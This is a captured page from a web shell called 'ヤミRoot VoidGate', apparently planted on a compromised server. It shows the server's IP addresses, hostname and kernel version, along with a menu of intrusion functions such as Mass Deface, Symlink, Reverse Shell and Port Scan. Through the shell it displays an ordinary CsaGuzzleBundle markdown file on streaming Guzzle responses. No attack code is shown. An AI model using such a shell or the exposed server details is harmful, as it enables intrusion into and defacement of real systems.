ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
csa
/
guzzle-bundle
/
src
/
Resources
/
doc
/
Viewing: response_streaming.md
Streaming a guzzle response =========================== CsaGuzzleBundle exposes a Symfony response, which can stream a guzzle response to the user. The goal is to send a guzzle response directly to the final user, while consuming the least amount of memory. For this, you simply need to encapsulate your Guzzle response using the provided `Csa\Bundle\GuzzleBundle\HttpKernel\StreamResponse` class: ```php <?php use Symfony\Component\DependencyInjection\ContainerAware; use Csa\Bundle\GuzzleBundle\HttpFoundation\StreamResponse; class MyController extends ContainerAware { public function indexAction() { // Call your client $client = $this->get('csa_guzzle.client.my_client'); $response = $client->get('/'); return new StreamResponse($response); } } ``` Next section: [Configuration reference](configuration_reference.md)
Coded With 💗 by
0x6ick